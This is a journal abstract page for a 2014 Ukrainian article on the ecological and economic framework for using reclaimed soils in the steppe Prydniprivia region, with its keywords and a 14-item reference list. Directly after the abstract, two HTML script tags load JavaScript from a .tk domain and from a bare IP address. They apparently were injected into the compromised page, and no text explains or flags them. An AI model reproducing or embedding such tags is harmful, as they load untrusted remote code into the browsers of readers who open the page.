ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

UDS: 332.334.4:631.618
Економіка агропромислового виробництва

Ecological and economic framework of use of recultivated soil of the steppe Prydniprivia region / Halahan T.I. // Ekonomika APK. - 2014. - № 6 - P. 15

The article states the necessity of ecological and economic evaluation of desturbed soil reclamation as the basis for achievment of economically and environmentally safe level of output from the area unit of new formations. A matrix method for determining the most appropriate field of further reclaimed soils use which may be the original product and the subject of labor in agricultural sector of economy is developed. The most common types of reclaimed soils for conditions of steppe Prydniprivia are defined. It is proposed to use them in four economic areas: agriculture, artificial grasslands and hayfields, artificial forest plantation and the combined direction, which includes the creation of recreation, water fisheries, sports, country and other facilities. It is proposed before conducting mining reclamation stage to include the desired direction the further use of the restored land plot and make its ecological and economic evaluation and determine recultivation way and its costs on this basis. Tabl.: 1. Refs.: 14.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Key words: land use, reclamation of disturbed soil, ecology-economic estimation, branch of using, matrix approach

References

  1. Бекаревич Н.Е. О рекультивации земель в степи Украины / Н.Е. Бекаревич, Н.Д. Горобец, А.А. Колбасин и др. – Днепропетровск: Промінь, 1971. – 218 с.
  2. Веденічев П.Ф. Економічна оцінка землі / П.Ф. Веденічев, П.П. Маракулін. – К.: Урожай, 1964. – 120 с.
  3. Галаган Т.І. Економіко-екологічні проблеми біологічної рекультивації порушених земель / Т.І. Галаган // Вісн. Сумського нац. аграр. ун-ту. – 2003. – № 3-4. – С. 208-213.
  4. Горлов В.Д. Рекультивация и эффективность использования плодородных почв / В.Д. Горлов // Вопросы экономики. – 1979. – № 11. – С. 61-70.
  5. Гуменюк М.М. Ефективність використання земельних ресурсів сільськогосподарськими підприємствами регіону / М.М. Гуменюк // Рекультивація складних техноекосистем у новому тисячолітті: ноосферний аспект: матер. Міжнар. наук.-практ. конф. – Дніпропетровськ: ДДАУ, 2012. – С. 83-88.
  6. Макаренко П.М. Моделі аграрної економіки / П.М. Макаренко. – К.: ННЦ ІАЕ, 2005. – 682 с.
  7. Мельник Л.Ю. Методологічні підходи до оцінки рекультивованих земель / Л.Ю. Мельник, Т.І. Галаган // Держава та регіони. – 2005. – № 5. – С. 156-160.
  8. Олейник В.Я. Экономические проблемы осуществления рекультивации земли: матер. Міжнар. наук. конф., присвяченої 90-річчю проф. М.О. Бекаревича / В.Я. Олейник. – Дніпропетровськ, 1996. – С. 119.
  9. Россоха В.В. Методичні підходи до оцінки потенціалу земельних ресурсів / В.В. Россоха // Економіка АПК. – 2009. – № 10. – С. 29-35
  10. Хвесик М.А. Стратегічні імперативи раціоналізації землекористування в контексті соціально-економічного піднесення України / М.А. Хвесик // Економіка АПК. – 2009. – № 3. – С. 24-30
  11. Agricultural Statistics United States, Department of Agriculture / Washington, 1993/ – 517 p.
  12. Christopher Ritson. Agricultural Economics Principles and Policy / Boulder, Colorado: Westview Press, 1997. / – 409 p.
  13. Heyne Payl. The Economics Way of Thinking. Fisth Edition - University of Washington - Science Research Associates / 1987 / – 704 p.
  14. Reinhold Wessely. The importance of mortgage system for Ukraine // Таврійський наук. вісник. – 2004. – Вип. 31. – С. 32-42.
Read article: 14_06_15-19.pdf